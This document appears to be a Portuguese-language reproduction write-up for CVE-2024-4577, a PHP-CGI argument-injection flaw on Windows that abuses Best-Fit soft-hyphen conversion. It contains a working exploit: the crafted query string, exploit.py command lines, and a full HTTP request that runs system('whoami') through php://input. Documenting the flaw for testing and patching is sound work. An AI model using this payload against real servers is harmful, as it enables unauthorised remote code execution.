
Reprodução de CVE: cve-2024-4577-phpcgi_rce_reproduction
O CVE-2024-4577 é uma vulnerabilidade crítica de execução remota de código na implementação CGI do PHP no Windows. Ela contorna a correção do CVE-2012-1823 original ao explorar a conversão de página de código "Best-Fit" do Windows para contrabandear argumentos de linha de comando pela string de consulta CGI.
Quando o PHP executa como um módulo CGI (php-cgi.exe), ele analisa a string de consulta como argumentos de linha de comando. A correção original do CVE-2012-1823 bloqueava o caractere - (hífen, 0x2D) para evitar injeção de argumentos. No entanto, em sistemas Windows que usam certas páginas de código (ex.: chinês, japonês, coreano), o recurso de mapeamento de caracteres "Best-Fit" converte caracteres Unicode específicos em seus equivalentes ASCII mais próximos.
A principal técnica de contorno usa o caractere soft-hyphen (0xAD / U+00AD). Quando uma requisição envia %AD na string de consulta e a localidade do servidor usa uma página de código "Best-Fit", o Windows converte internamente 0xAD para 0x2D (hífen), permitindo que o invasor injete argumentos PHP apesar do filtro.
Exemplo: %ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input torna-se -d allow_url_include=1 -d auto_prepend_file=php://input.
Requisitos de configuração:
php-cgi.exemod_cgi ou mod_cgid configuradoScriptAlias /php-cgi/ "C:/php/"
Action application/x-httpd-php-cgi /php-cgi/php-cgi.exe
http://localhost/php-cgi/php-cgi.exe?%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://inputpython exploit.py -t http://target/php-cgi/php-cgi.exe -c "whoami"
python exploit.py -t http://target/php-cgi/php-cgi.exe --phpinfo
O payload criado injeta diretivas de configuração do PHP por meio da string de consulta:
GET /php-cgi/php-cgi.exe?%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input
Host: target
Content-Type: application/x-www-form-urlencoded
<?php system("whoami"); ?>
php-cgi.exe